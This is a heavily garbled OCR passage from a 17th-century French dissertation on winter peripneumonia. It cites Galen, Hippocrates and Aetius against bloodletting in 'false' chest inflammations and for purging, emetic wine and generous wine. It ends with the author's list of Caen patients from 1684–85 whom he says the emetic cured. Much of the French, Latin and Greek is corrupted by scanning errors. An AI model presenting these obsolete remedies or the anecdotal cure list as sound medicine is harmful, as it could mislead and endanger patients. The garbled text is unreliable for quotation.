iltitcjue non fotens , ifia circa fectas am-
bitio, ac fcabie ^udvis ad fanandum
rebellim , \ ce compte , il eft biea ides
Galenx.
La Doctrine de Feriiel a efte fuivie
par' Scnncrt, 'lib. j. infiitut. far 2,
Sect. ' i. cap. 7. & i. de febrib. Chap,
6 . Par Hpfatius Augenius, Efiftot.
i. Tom. t. Par Ballonius , comme ie
reconnoift Mohfieur Patin. Par Amat*
Lufitan. qui dans fa premiere Centur,
Obhrvat ^g. atteffe avoir guery un
PleurettqueVie purgeant des le qua-
trieme iour V & d'ans le fcholie de la
Curat I}, il p'arle ainfi : Fericulo-
fptm ejb tn mendofa phuritide, tot te-
^<rtwT^ytcUt{i'i'& eum eo^aviores me-
dici 'fatigdinem per ’vena fetttonem ex-
traherei ijpiiacum ab htimor.e fttmtosa
& ftatnlemo eveniat , fangmne detraBo^
humor magis crudefeit , & dolor fit tn-
ienfior : ' frmnde pleuritin mendo/aitt
vend • periculofiorem ej]e- uemini- ati-
hum 11 eft periHeux > comitCB Fa.
Oj ‘
tiSi I>ijfirtat ton fm Its
dit Actios, & avec luy plufieurs Me-
decins tres-cohiidcrablcs » de tirer du
fang dans les fauflejs f leurefies, parce
qu’elles procedem d’une hume.ur pi-
luiteufe , & flaculejice , q«i par ta fei-
gnee devient plus cruc : enforce ,que
par ce remede , la doultor augmcnte. j
C’eft pourquoy, qae perfonne nc douce
que la faulFe pkurefie,, .eft plus da.nge-
reufe que la veritable, Ce q,iiM ne
pas entendre abfolument, & ayanjf
egard k la nature , & aux fympibmes
de Tune ,& de I’aucre mala.dic j tar
dans ce fens il ne feroit pas vr.ay, qftc
la faufle plcureft,e.fiifl: plus dapgereur
■fc que la vrayei niais ce qqi en laic le
peril, ,cft 1’err.eur que les J^edecius
fommettentordinaireraent, en fe laif-
fant troroper par la refternb/ance des
fymptorocs; Ians diftinguer les cau-
fes j eqnfondant la euBatiori dje ces
deux fortes daffedlions , & feignant
jbeauconp dans nne maladie, dont la
caufe eft froide & cru.e, & four rnieuaj
parler,n’eft qu’une veritable Indite-
^ion } dpnt la maticre , au lieu de s’£»
vaeucr. par une diafrhdc, comme 4
j^rrivc » fe jetfe fps ^
Perlpnettmonies d’Hjvtr, i<jj
ppldrine 3 & y fait naiftre des fym-
pt;omcs propres de la par^ie afFedtee ;
ce qiii ne doit pas empefcher qu’on ne
la doivc toujours trailer felon fa pre¬
miere nature, plCitoft qne felon la nou^
yejle idi.e d’inflam^mation qu’elle a
prife. Or qui voudroit bcautoup fei¬
gner ■da.ns ,uae indigcAion ? ,
Mais, A propos, d’Aejtius cite pa*
cet Ailteur , il eft temps d’apportet
icy i_e PaCfage que j’ay promis pour fi-
pirpewc DiiTertation.qu’Bn plus grand
jiombre de citations, rendroit defor-
pijais ennuy:eu,fe,. Ce Paflage li expres,
qu’il paroift Tabrege de noftre DoGri-
(\e ^ fe v,ok 1. 7 itrah. Sermon. 4,
Cbap, 68. ^Qot le tiltre eil, De ei
pjenrnu eJS,e putawr, enm tamete
von Vpjcy Jes term«^ d’Aetius ;
tiihii hit-
3 (tc , vdutt fnnp
Ac fungi >. . icotifimiles , cruM
Jojnmo^res , .vifcefqut nc tenapee , in
forpore gtntrantur •. filitjuando re-
fenie , fe in vacuum tdiorxcie lecu *9
fVgerunt ,, in ipfum etiafn pulmct-;
pern. Mult.if_vdine it4fue fin.d fvofmr
kmil mrinffcpj
1^4 Di^ertaitori pur tes
Bendentes, infertim doloref,.; sit tma-
ginatio faBa inflammastonu intxj>ertii
i/tdeatHr : Qj^netiam vtM jpirttiss'in^
tercipsentes t vehetKemem' Jptrandt dtf‘-
ficstltatem indstcsint. 'Und^ cjstidam ntt-
diet trrore fedtiBi ^ Vena c u b i t i
INCISA, MlllTOQllE SANGUINE EVA-
CUATO , MOHTIS CAUSAM G R 1 S
PR^BUERUNT. Ec- plus bas , Hornfii
heiqste curatiMe fufcept^ , edlefacte»
tint . inctjlv0 , RepuRGAntiA' «»•
trinfecus & extrinfeeus offeremsti , &c,
Ec encore phis bas, /» his vero
bin fujfocattohis perimlnm immsntt,
VoMiTORiis W ^ngirikm frafenpd
its con^denur mimar snaxime t»
^Hod elaterio , finapt nhro ednfiati
Ec enfin , Virtum bihant fulvtim , vc-^..
iw , medioert menfurd, ' C’eft h dire j
il s’engendre dai s le corps, des bu*
meurs crues', vifqneofes > & tenaces'>
de plufieurs erudites,- §£-d’aliments
qui font beaucoup d’humeurs' groffie-
res & pituiteufe's.i comme font les
Racines Bulbeufes , Ics Cbam-
pignoris ; qui fe jectent quelqocfois
tout d’un coup fur la capacit^ de la
poi^lrine -, & fur le poulmon i & pai
PtripneHmomes ^Hyver. igj
leur abondance font tenfion & dou-
lcur> dans la membra'ic qui revcft le
code,', tnfoirte qne les IcNORANfS
s’lniaginent que e’eft une inflamma¬
tion j & ces D\atieres 'bouebant Ics
voyes de I’air , font une difficulte de
refpirer tres-violente. D’oii vient que
quelque^ Medccins tomhent dans Itj:-
reqr » feigqenx ,da bras » .& tiraajc
,buaucoup =de lang , Font rMouRiflt
£s flw has, dan-s 4a
.cure de,CCS Affedfions , il faut .doa-
.per par dedans & par dehors, des K-
jinedcs, qui echauffent, qui incifent,
qui Pur&ent. Et encore pita £as,
.^t dansceux qui font en peril d’dtou^-^
Set , nous nous fervirons , avec Con-
.JIANCE DES VoMITOIRES , que ilOUS
,avons preferits pour rEfquinancie » &
principalement de ccluy qui fe fait
,avcc rElaterium , la Mouftardc , Sf Ic
J^Jitre ; & il faut que les malades.*
boivent du vin genereux Sc ivieil(»
en quantite mediocre.
Si je me piquois d’avoir invente la
Doflrine que je deffends, j aurois eu
bcaucoup de chagrin d’avoir trouve cf
JPaflage j ce qui n’eft arrive» que plu«
j66 DljfertauoH far les
de deax mois apres la Compofitioh de
maThefe: Mats comme je n’ay point
d’autre pretention que de fervir le Pu¬
blic, & mcttre mon honnetK ^ con¬
vert, que Mcliieurs Ics CenfcHts ont
outrage fi Cruellcment, je fuis ravy
d’avoir un ttxte li formel , & unc
aiitborice (i confiderable que cellc
d’Aetius, qui vivoit du temps de
Conftantin ^ &c donl I’Ouvrage a
toujours eftd regardd, comifle uri a-
bregd tres-parfait de tous les Auteurs
de Medecine qwi Toin precedd ;• fiii-
gulierement de Galien , ^ la Doftrine
duquel il n’a pas cru contredire , en
confeillant la purgation, & detFen-
dant la felgnce , dans les faufles In¬
flammations de Poi(&rine i engen-
drees par les humeurs froides, ernes
Sc pituiteufes , comtne nous avons de-
crit les Peripneumonies d’Hyver, dans
lefquelles il donhe auffi le vin le plus
genereux ; ce qui eft un autre poindk
de ma Thefe , que je defFendray brid-
vement par authorite, & par raifon.
L’une & I’antre eft tres-evidente ^
& faute aux yeux de quiconque fera
convaiucu, de ee que je pretends avoii''
^trlpnttiwomts d']i{yver. 167
prouve, touchanda caufe dc la Ptri-;
pneumonic j dont nous parlous , SC
Cfoira qu’elle precede d’une humeuC
froide , pituiieufe , erne , en un mot »
d’mdigcftion ; car le vin eft le remede
de CCS difpofitions , comme I’cnfeignc
Gal. an Liv. de etb. bom & mal, jme,
En ces termes , Falermm , Imebtes ,
, I.efbmm , Odorum , Jiiiti- .
lum^tte,cun£ia hu)tts generu vin« caltdd
fmt ; frofttredque net biliojis, nimtoque
eiHu , & ardbre, fame^ae «ut_ mcerere
'vexmii i nec hem ttbt anni ttmpus, re-
gio 1 tempeflaftjue cahda exifht, dandti-
Junt, Contra uero ftthtter tjs damttr ,■
calefaciendi funt \ atpote pttmtips
frigidifijtte temperamenth , iiuai^He hU-
morts copid refertts. Vamur quotjae hpe-
we , pigi ed^ue Cr harntda tempejiate^
Hh tta^ue .omtnbm, rmilnm ditlce<}»t
vxpam.dittommoiatttm efi. ,, Tout vin
odorant '^ vermeil, eft chaud j il n.e
vaut done rien aux bilirux , dans I’ex-^
trerae chaleur , ny la faim * non plus
q.'>e .d^ns ^Efte, Jk. Itj Pays ^cJbaods. _
Mais, il If^faut donner ,a.ux tfmptra-,
ircnts froids & pkliiteux , qui lout
pleins dc ctudu.zi dans rHyvetjSi les
iffS . ^ifertatioK/nr tes
cunflitutions froides & humides , il ellr
fofc convenable. Ec au 4. de famt,'
tnend. lors qu'il craicc ceux qufabon-
dcnc en fuc crud , & en picuicc > Nee
tdmen a vi»<h ahftinendttm ; conccqmt
enim td femicrudes humores »
tune aliud ejttidvu : turn ftfdorem‘
natufite fromovet, ac fimrmm effnci>^
hut. H ne faut pas s’abftenir du vin,
car il digere les hameurr demy crues,
autant qu'aucune autre chofe , excite
la fueur, & les urines, & provoquc
le fommcil: Et au 7. des AphorifmcS'
y 6 . Notts f^uvons que It vin echavfff »
penetrant toHtes Its forties ^ rectifie -
les humeurs , & Its rend tres-ironnes.
Ecdans le S. roV»rCli3p 7. Le
vin digere, nourrit, fortifie , rtfiSh 4
la pottrriture, & ^erh feurtmtnt’
agreahlement tome mtemperit /hide
hUmtde ; It miel', ajoftte-t-il pojftds 4
pm pres les mtfmes verm except^’
qu il ne conienft point la Jtthfiance des-
parties , nsais a me qu-alite aperitive &
deierfive , fiettoie les conduits , pro-
voqke (mine ; qm ne font pas dis ver¬
sus pen confideraHes.'
Le mefmc Galien , dans le 6 . des
' 7 ’eripneftntonks d‘Hyver.
Aphor. ji. I-Jipfocrate t dit-il, m’a
dome la confiance de me fervtr dn vitt
dans Us inflammations des jenx > farce
^tt’ilfond U fang , & I'agite , & par la
vehemence defon monvement , oKvre les
ehfirftSiions^ Et au 7. dcs Aphor. 45.
Le vin & le bain ne font pas propres attx
plethoriques • mats ce font remedes, pour
un fang grojfier , arrefe , & coagule ,
dans qaelqite partie, fans plenitude de
tom le corps. C’efi ainji qu.^fclepiade
fe fert dtt vtn, apres les evacuations uni-
verfelles , pour le remede des Tameitrs ;
e’efi poarquoyy lors qtttl j a dostlettr fans
plenitude , pour refottdre la coagulation
dtt fang , on donne le bain , & I'on ne fait
pas bien de feigner.Le meme au Comm,
deviSl. ratten, in acut. tex. S. VeuC
qu on donne dans Us fievres le vin blanc
tenn , aquetiX^ qui n a ny au Berne , nj
ttJirUhon , ny dmceur, ny acrete paf-
eequedans ceT eflat , il na ny les de¬
fault de l'eau , ny ceux du v 'm > comme
efoiten Itatie celuy qu ti appelle Sabi-
num , ^ comme ef a prefent nofire vin
de M ofeRe. Et au 8. de la Meth. Ch.
3. f'lnum vefo ipfe mihi eonfcim es ,
omnibus me ejufmodinaturis concedere,
P
»7<l DijfertJitfeit fur Us
fed ^ttoi turn a^petipt ; tffm virihus Jit <«•
Id emm ad omnia miltus ^uam
ai^aa eB ; utfote ejuod & cencothonem,
juvet , ^ Hrinas ac fudores promoveat,
Conftat amem & Wtppoc, non in diartjs
mode fehrihus ; •verttm eiiam in acutis
vinttm dare. II eft conftant, die Galienj
qu'Hippocr. donne le vin , non feule;
menc dans les fievres Ephemeresj mais
encore dans lesaigues.
Et notarament dans Ics maladies de
poidlrine , pour Iclquellcs il fsmble .
avoir particulierement invente le nom
de qui ne fignlfie autre chole ,
que. i’ufage du via pur , qui munit SC
deffend la poidlrine comme une cui-
raffe. C’eft ainfi que dans les trois eC-
peces de pbtifie , deferites aux tex.
XI. XII. & XIII. du Liv. des affeB.
jfitern. ll ordonne le vin vitil > attftere »
fioir, ^ tres-agreable ; & dans les ma¬
ladies atgues, au tex. du 1-
diat, in acptt. avant que de donner la
ptifanne, e’eft ^ dire I’orge monde,
Jl confetUe Vhydromel, oh le vm ; felon
^ue le Medecin It jtigera plus Httle >^Sc
Gal. dans le Commenr. dit que c eft
avec raifou, pHiJqnt L‘nne & I’etttrt.,
Terif»eHmanmd'Hyver. 171
httme^eni plw I'em i ce <jni avott
tSle ignore de /h predtcejfeurs j dit-il,
& dt qttelle manure ilfam Jefervir de
totttes ces chofes dans les maladies at-
gnes : Dans la curation defquelles, .
il die au texte 40. ejnt I’eats na ats.
cme Venn , & traijne apres-foj pin-
fienrs inconvenients » pmfc.nt dans Its
‘F eripntumoniqms , elle nappaife point J
la toux, & n’aide point a eracher i
ptincipalemem , fi le malade ne hit
point amre choft. Il die encore q»e I’t*-
fage dt I’can fait des fittBuattons ; & inmift
hen loin d’appaiferla fotf, il I’augmen-
te inutile efi trts-bilienfe & tres-mau-
vaife , 0bhat les forces , gonfle le foie &
la rate; lors qn ils font enflammtK,^
pafe avee peine > parce qnelle efifroidt
& incapable de eoBion, ne lafche point
le ventre , & ne pouffe point Jar les uri¬
nes ; & de peur que Ton he croie que
ce qu’il die icy de I’cau » fe doive
entendre de la mauvaife & corrom-
pue, Galien dans le Comment, die
exprefleneent, tputl faut entendre tout
ces inconvenients de la bonne eau , c*efl:
^ dire , de celle qui eft tres-pure , 8 c
qui n’eft alteree par aucune quality
n% Bijfertaitoft fm Us
eftrangere. Ec ce qu’ii y a de plus
rnerveillcux, eft qv- le mefme Gali
fur ce tex. 4j. du I. deviU. in acut,
ne veut pas que dans I’Efte , les ma-
lades boivent bcaucoiip d’eau froide.
Denfat fi tjuidsm inflammationem, Ji
ex ed fehrierint , crudofqnt ferfiigera-
none reddit hntnores j nhi- ex ifjis mor-
hum centraxerint •, fed ah oxjmtlit*
ctrrigetur , qvod fecandi vim habet,
jSlemfe quod fecat penetratque, id Jpif
fantii cogentique corpora efi contrarmm^
Comment accorder des textes fi
formels avee la pratique des Mede-
cins Of dinaires, qai refiifcnt avec tant
dc feverke, une cuillerec de vin h
leurs malades, & qui ne fe relafchen):
U'deftus , que quand ils font prefts
d’expirer. Enforte que cette permif-
fion, eft la plus feure marque qu’ils
defefperent de leur vie > & qu’iU le$
abandonnent au prognoftic* Je ne pre¬
tends pas approuver la conduite de
ceux , qui fans diftin£tion dki tempera¬
ment du malade , de la nature » & des
temps de la maiadie , & des qualitez
du vin , qui font fi difFerentes» 8 c mef¬
me fi oppofees, CB donnent ^ toute on*
^eripnetimonies 175
trance » & fans obferver aucune mefu-
re. Mais je fuis contraint d’avouer
qu’il y a bien de I’abus dans la trop
grande timiditede ceux quine pronent
autre chofe que (PM^enuiu, (pvxtS'aiin'a.,
& font lenr cour aiix Gens de Qualiie,
aux Dames, aux Ecclefiaftiques» de
trouver tout trop chaud , fans fe fou-
venir de ce que dit Galien 5>- deplach.
Htc Hippocr. ifia , intuit , ejun ad vini
differentias & ufttm perjtnent , anti^ttte-
rihia incognita fuerunt. ^^ 4 1 ego tradi-
tis diHintiionihfti, quihtti dtfeerm hde
pejfint, honim arttm confittm-
tmdem modum ettam de mnlfd ^ de
melle , de aipud , de oxjmelite , ptiffa-
ind & halnek difimilienes confcrippt i
eos damnans in ommhm acutis mor*
bii, horum miufeiijuf<^ae ufttm , vet
prorjus coneedehant , vel prorjus inter-
dicebant. St quit enim interroget dan-
dumr.e ft vinum febrienttbftt, relpon-
denditm efi nonnuUis dandnm I C’eft
^ dire , en cet endroit Hippocr. aC-
feure que cc qii’il enfeigne toocbant
k difference & I’ufage div vin , a efte
inconnu aux Anciens 5 & fait gloirc.
4 .ea ^avoir eftably TArt,, en donaaaS
Pj
174 ® if ertatio» fur tes
Ics diftinftions necelTaires de ces eTio*.
fes- ll en a ufe de mefme touchant
I’Hydropiel, le Mul , I’Eau , TOxy-
mel .'-I’Orge monde , & les Bains ,
dont il a regie Tufage > condamnant
cgalement ceux qui dans routes !;&
maladies aigues, ou fe fervent entie-
rement de ces chofes , ou les naterdi-
fiznt tom ^ fait. Car C\ quclqu’un m’in*
terroge , faut-il donner le vin dans la
fi^vre ? Je re|jondray i qu’il Ic faut
donner ^ quciques-mns.
Ec en tffet, le mefme Gal. an Liv..
de pmcpgnu. ad foBhum. raconte qu’e*,
tant appel]^ pour traiter I’Empereuf
Marc Aurelc Antonin , qui fentoit
quclque mouvement fievreux , mais
qtji venoit de erudite, lors que tous
les autres Medecins avoient frule-
ment egard ^ la fievre, Sx. fe difpo-
foient peut-etre ^ le feigner. Galicn
feul regardant ik la caufe , & connoil-
fant, Stomaehum principie attert ulr -
*ifumpto cibe, ame^uam txerueretur
fiuante, luy did: ces mots : St un pur-
ttculier efioit malade cemtne vcm , ]e
luy denmroii , /elan r»a ceufiufue > du
vin avfc d» pohre > wuie purtf
Pmi^netimonies d^Hjver.^^ 17 f
Its Medecms ne doment ^ue ^ef reme-
des tres feurs aux Souvtrains , ten ft
fteut cententer d’nn JopiijHe chattd , af~
flique fur I'eftomach. Ce qui eftanC
encendu par cet Empcrcur Philofo-
phe , il voulut eftre guery eomme Ics
particuliers, & beuj du vin , dans
lequel on mcfla dn Poivre. ll eft done
vray , que com me le^j^jsid & la eru¬
dite peuvent donner la-fievrcj le vin &
Ics aiutes remedes chauds, la peuvent
appaifer.
Cc ne feroit plus qu’uneRrhapfodie inu¬
tile , ou bien une oftentation ridicule
de citer eomme )e pourrois faire aife-
menc, de nouvelles authoritez » pour
confirmer la Doctrine de ma Thefe»
que je pretends plus que fuififaroment
prouvee, par ee quba eftc rapportc cy»
deftus. ]c me recranche done i un
dernier argument, qui fera valoir tous
hs aiitres»,& feul mefme feroit d’une
force invincible , & ne fouffriroit au-
cune repartie : C’e/? tExperience , ^ la-
quelle fe dblvent rapporter toutes nos
fpeeulations, car eomme dit Hippocr-
au Comment, du tiv. de pracept. coll-
ittudo ratiecinatignesit rfi exferimid
Dijfertation fur Us
frincipmm facit. L’expcrience , com-
me dit Gal. 4. de fins pile, med'icam.
facult, cap, uUim. ne trompe jamais
perfonne , quand elle eft parfaite . &
du genre de celles qu’il appellc
qui rendent ceux qui l.cs polfedent,
o» tantum eicpenos, fed exercitatos.
C’eft cetie experience qui, comme je
Tay d^ja dit fait connoiftre pre-
mierement Ja Doctrine qiie j’ay propo-
fec ; & puis dans la cure de ces mala¬
dies , n’a pas moins favorife ma pra¬
tique , qu’elle s’pft declayee contrairc'
^ celle de mes Cenfeurs. Enforce qiie
j’en pourrois tirer deux fortes d’a-
vantages i & m’en fervir, comme on
dit', ^ parer & porter en mefme
temps ; puis qu’elle m’offre deux for¬
tes de preuves. Tune Affirmative , qut
montreroit les bons fuccez de ma me-
thode ; Tautre Negative , qui feroit
voir les inconvenients , & Its roau-
vaifes fuites, de celle de mes Ad-
verfaires. Mais je m’abftiens ^ def-
fein de la dernierc, le detail en fe¬
roit trop odieuxv & quelqu’outrage
que j’aye receu de ces Meflieurs^
je ne puis me refoudre ^ leur remcc^
Ferifneumonies A'H'^ver- 177
tre devanc les yeux un fi trifte fpe-
ilacle. Je ne me mefle de leurs affaires,
qu’entant que I’eclaircidement du
Procez qu’ils m’ont fak de gayete de
ccEiir, I’intereft Public , & mon inftru-
£fion paniculiere Ic demandent ,'trois
fins que ces Meffieurs doivent avoir
communes avec moy. Et ainfi , com-
me ie n’empefche point qu’ils ne pro.
fitent de mes bons & mauvais fuccez,
ils trouveront bon , s’il leur plaift, que
fans leur imputer aucune faute , ie dife
hardiment, que ie n’ay rien veu dans
leur conduite, qui m’oblige de la pren¬
dre, & ^ quiter la mienne. Monfieur
da Vaucouleurs advoue tackement,
tout ce que je pourrois dire dans la
Thefe que nous avons citee, & que
luy fervirok de diffimuler une chofe
publique ? Je f^ay que parmy les con¬
fidents , on fe defcouvre affez, qu’une
methode irreguliere, c’eft ainfi qu’il
leur plaift appeller la mienne, rciiOSt
plus que celle des formes pretendues.
J’apprens mefme , que ces Meffieurs
pratiquent en Cecret, ce qu’ils Cenfu-
rent en Public. Ils doivent d^s- 1 ^ , fi¬
nk la conteftation, donner les mains \
la veritc, fuiyant f exemple d’Hippoc.
i 7 S DlJfertatloM far Us
qui a'eonfefTc ii genereufement fes Faff-
tes , ^J^ 4 agnarum rerum fiducttip'eius,
comme dit TllluftreDuret. Les grands
HommfS en ufent ainfi, quitent & re-
connoiflTent aifemenc leurs erreurs i
parce qn’ils fe fentent aflez d’acquiSj
pour ne foufFrir aucun prejudice de ce
cbaogemcncj qu’on attribue pliitoft aa
defaut de la Science , & ^ la condition
Humaine, qu’^ leur foiblcffe particu-
licfc : ail contraire , fes efptits bornez
& mediocres , font comme ccs mau-
vais fruits qui ne quitent jamais fa
pierre. lls confervent toujours ieurs
opinionSjIors memcs qu’elles les abari-
donnent, & s’efFaceirt a I’afpeft de fa
verite notoire , de Texperience > & de
la demonflration ; comme les tenebres
fuient devanc le Soleil.
Rien n’eft pins capable d’enrichit
la Medecine , evmfiuy iv'r ■nx<'S'
me parle Hippocr. au Liv. de arte, qui
la franchife & la bonne foy des Mede-
cins obferver dans les maladies j ce
qui fert, & ce qui nuit> ou bien eft
inutile aux malades, comme ie veut le
mefme Hippocr. au commencement
du Liv. de v'M. in acaty
PtrlpneHmomts A'Hjver. 175
C'elt la raifon qui m’oblige k
donner cn ce lieu les principalesi
cures que i’ay faltes de ces inflamma¬
tions de poidrine , pendant leurs deux
dernieres failons * & je crois que Ton
nc m’impucera pas de blelfer la mo-
deftie en les publianc moy -melme ;
puifque j’y fuis force par la necelfiti
de ma jufte deffenfe , TinArudlion que;
je, dois au Public ; & que j’ay de?
vant moy I’exempie d’une infinite de
Medecins, qui nous one donne vo-
lontairetnent leurs obfervatiors. Les
iniennes feront veritables & fiddles ,
& je pourrois les verifier par des at-
teftations authentiques. Mais il n’en,
faudra point kquiconque conoura I'in-
tereft & la padion de Mellieurs mes
Confreresj & la facilke qu’ils auroienC
k me dementir, puis qu’clles fe font
pallees k Caen . & aux environs ; &C
ainfi Ton pourra bien croife cellcs qui
ne feront pas conteft^es > fur ma pa¬
role, & leur filence. Je ne les donne-
ray ny tomes, ny dans i’ordre qu’el-
les font arrivces j parce que je n’ay
pas eu la precaution d’en tenir re-;
giftre, & que jc fuis oblige de m’en.
it o Vtjf. fur les Tertp. d'Hjvcr.
fier i ma memoire. J’y {stay plut
cxaiS: dorefnavant.
O’BSERV^nONS SVR LES
Eeripneumonks d'Wyvtr y fuius
par C Auteur , auec Armies,
16S4. & i68s,
Ors que les Peripneumonies
X— < devinrent Epidemiques. vers le
commencement de I’Annee 1684,
j’en traitay d’abord quelques-unes,
par les maximes, & avcc les fuccez
ordinaires i done eftant aflez^mal li-
tisfait, je tombay dans une de ces
experiences , que , felon Gal. au Liv.
de feSi. Chap. x. les Empiriques ap-
pelloienc Fortuites; & aufquelles
Hippocr. au Liv de precept, die fi
bien qu’il fauc prendre garde. Jgituf
animurrs adhihere oportet fortuka o'cea-
font , ^«<e pitrumtyuefe offert-. meATHint
^j^atjue eum miliiate &. leuitudine po¬
tties conjuKbla efl , ejuum cum pellick
tatione & faEli defenpone. Ces repeon* ,
tres font plus utiles au malade & au
Medecin, que ce qui fe fait par les pro-,
mefles
Ohftr, far les Pertp. d^Hyver. i8*
raeffesdc I’Att, ^ U dcff'enfe duquel »
Ton eft tdujours prepar6, /at' Ixn^ftAhis
ii!roa»><«< TO c yfcira'n'pjwf
Maiftre Michel Brodon , Celebrc
Archicefte de ceCte Vilici fuc le pre¬
mier fujec de cette experience , car
eftanc combd des premi rs dans cet¬
te nialadie. je'rcniarqiuy > qu’en-
tr*aucres (fynap.tdnies tres violents, il
fbuffroit de graiides nan fees; k rqiie] les
me failanc )uger,qii’il y avoit beaucoup
d’lmpuretc dans le bas-ventre , ie ren«
voy^ le Chirurgien tout preft: i feigner
le malade , & Juy fis donnerupe once
& demie de vin Emetique , dont il
purg^ copieufement & facilemen‘ >
avee taut de fuccez, que le lende-
main matin ie le trouvay , fans au-
enne hevre , fans douleur, n.y fans
difficalte de relpirer , Si parfaicement
giiery d’nne maladic , que i’avois iu-
■gce devoir eftre funefte, fur le pied
de celles qui regnoient pour lors. ■
Un fuccez ii prompt , & li
favorable. m’ayant donne plus de
confiance : ie traitay ^ pen pres dc
la mefmc forte , le henr Aub^r Mai-
tre Charpentier , demeurant aa bout
i 8 z Ohfervattons fur les
du Pont de Bois, qui par ce mefrae
remede, fut tres notablemenc Toula-
ge ; & puis ayant efte feigne deux on
trois fois , parfaitetnent guery.
Le nomme du Clos, dcmeurant
xn qualite de Compagnon chez le
fieur TEfcuyer Chirurgien , fut guery
de la tnefme manicre.
Le petit Garmon du Patifficr de
Paris, de mefme.
Un ieunc Eftudiant, loge chez le
fieur du Vivier, vis ^ vis de la grande
Porte de S- Sau veur, fut guery par
line Purgation de Senne , Syrop de
fleurs de Pefcher, & Draprunis fo-
luiif.
Le fieur de Maltot , demeurant
au mefme lieu , par I’Emetique.
Le fieur Jelle Daniel, Conroyeur
de la Rue aux Fromagts, gueri par
I’Emetique.
Mon fieur Defprez, Huiffier des
Ordres de fa Maiefte , ayant efte pris
dans les Cordeliers > oil ie mr ren-
icontray fortuitement, d'liiie grande
rigueur ou friflon» qui dura plus de
deux heures i 3c enluite d’une faulie
inflammation de poiftrine > fut pur-
T^ertpnettmomes d'Hjver., 185,
ge cles le lendemain, 64 guerit fore
heureufemenc > aage de 70, ans.
Le Ikur le Brecon» Boulanger»
demeurani dans la rue Pefmagnie,
fut guery par rEmeiique.
Un ieune Enfant de Dieppe', de-
meurant chez le fieur Moi tn Ledteur,
dans la Neuve-rue , fi malade de cette
inflammation , que Ton avoit eferic
^ fa Mere qu’il fe mouipit; ayanc
pris enfuite de I’Emetique, ful gue¬
ry fi promptement ; que le lende¬
main on eferivit a fa Mere 5 auquel
il eftoit fort chcr, qu’il eftoit hors
de peril.
Le fieur de Boifviliccte , Fils uni¬
que d’une famille Noble & Riche,
eftant tombe malade chez Monfieur
du Rue/, ou il eftoit loge , & ayant
grande fievre , forte oppreffiou , diar-
rhee tres frequente, fut guery pat
I’Emetique, |i proraptemmt, & fi
parfaitemenc , que le lendemain il me
demandoic, dequoy eftoit devenue
fa fievre.
le Fils d’un Cordonnicr nomroc
Droiiet, demeurant dans la Rue 'des
Croifiers, fut guery par I’Emetique.
1^4 Ohferv4m«s fur tes
Le Cocher de Madame Mallierbf,
fi malade qu’on fongeoie des qu’on
m’cdvoya querir , a luy ^dminiftrer
Ics derniers Saerements j ayant pris
des le loir unedofe d’Emetique > fiic
guery fi parfaltement» que le lende-
iTiain au matin , ie le trouvay hors
du licl:« pcnfant fcs Chevaux.
Dn autre Valet de Hamoisj de-
rocurant S Juvigny , chez Monfieur
Malherbe , fut guery auffi prompte-
rbent de k mefme maladic j par une
prifc d'Emetique qu'on luy cnvoya.
Un PenfioHnaira de la Miffiort,
nomme Monfieur Efnouf, ds S. Lo,
fi malade, & ayant le pools fi mau»
vais , que ie iugeay ^ propos de eom-
nicncer par J’Adminiftration des Sa*
crcments, fut g-oery par I’Emetique
fi” promptemep^^qac le lendemain il
eftoit horl^e peril j & le iour fui-
viant, me vinft rcmercier»
Un Frere fcrvant dans le mefme
Semhiarrc fut gueri aufil prompte-
ment, par le mefme remede.
Madame Defprez, Maiftrefie du Dau¬
phin, Dfkladc d’une fort grande inflam¬
mation de poiiitrine , fut gueriepar i'E»
metique.
'Perlpneanionies d'Vijvtr. i8j
, La Femme d’un nomme les R.uif-
feaux , Cochcr de Madame Fournier »
gucrie par le Qiefmc remede. v
Lff nomme Marguerin, autrefois
Portier de I’Abbaye iainte Trinite*
a eftc guery par I'Emctiqae.
Le iie^ur du Perron , Sfrgeant de la
mcfmc Abbaye, afflige d^«ne de ces
maladies , excremcment violentc , a
efte guery par la Purgation , & enfuite
'par le Sudorifique-
Le fieur du Pre Maiftre Tondeur ,
demeuraut dans la maifon dcs PP.
, Jacobins , a eftc guery par I’Emetique.
Le ficor de Cuffi < Meffager de S.
Malo, tout nolie de Gouttes, qui
eftoient remontces fur la poidrine',
prcfque fans pocils » & preft ^ eftouf-
fer, fut giicry fort heurcufement par
I’Emetique.
La Dame Vcfve du feu fieur Gue-
not, Procurcur, aagee de foixante-
fept ou huit ans, a eftc gueric d’uhe
fluxion fur la poidriue, par TEme-
tique.
'Le fieur de Bordemer > demeurant
^ S. Sauvcur,aefte guery d’une &Sr
>iosi fur la poidrjne » par I'Emetiqucs
|gtf Ohfervatms ftir tes
\ Pfuficurs Pauvres dans I’MofpJtal
General, ont efte gueris dcs mefmcs
f" fluxios fur la poidrine^par 1 Emetique.,
Deux pauvres Enfans , Tun de neuf
& I’aucre de douzc ans> demeiirants
S GiUes, au'delTus de TAlybayc
d.es Dame'S/ one efle gueris ires-
promptcmil^t de Ja iftcfme. m^adk,
par ie melme remedei j*"
till Porteor de Cbaife , ^l^fiere Ls
Jacobins j a eftd gOery pareillement.
Le /fieur de Souderne Hclie'> aage
de forxante-lept ^ huit ans, cravaii-
Ic de Gointes , & enfuite d’une 'Pe¬
ripneumonia d’Hyver, a gucry fort
hcurenfcmeiit , &i fort promptement
par I’Emetique.
;Un Jardinier de la Rue des Gar-
demeuranc dans la Maifon de
i’Abbaye de Troarn , eftanr extreme*
ment oppreilfij avee fievre , crachats
■ fanglants , & autres foit violentS
fymptomes, prift- par mon XJrdon*
nance , line, prife d’Emetique des le
Jfoir auquel ie fus appelle, & Ic len*
demain y ayanc conduit les fieurs le
. Bc'Mrge.ois» & Biifnal Chirttrgiens j
avt« iefquels ie paffeis devant fa i»ai-
Piripneiimomes 1^7
fon, poor voir sM le falloic feigner,
news Ic troiivafmes fans fievre , ny
oppreffion' au(;nne : enforte que ny
lerditsChirurgienSi ny mey^ne pufr
Ryes nous refoudre feigner un Hom¬
me , qui nc paroifloic en avoir au^
cun befoin. ■■
Le fieur dti Vai,dry > de la Vilie de
Bayeux , eftudiant k Caen, a efte gusry
heureivfemenc par TEmetique.
Moftfieur de I’Aunay Potier, tres-
habile Medecin dc Thorigny , m’a fait
affeurer que qnand ic voudrois , il mc
donneroic unc grande lifte de mala-
des, qu’il avoit gucris par cette met
me method'e.
Le fieur dc la Couftiire le Bouvier ,
habile Chirurgien i Bcuvron, m’a at
leur^ que dans le Pays-Dange , ii avoit
guery , & veu guerir pluGers maladcs
par ies meftnes rersed'es.
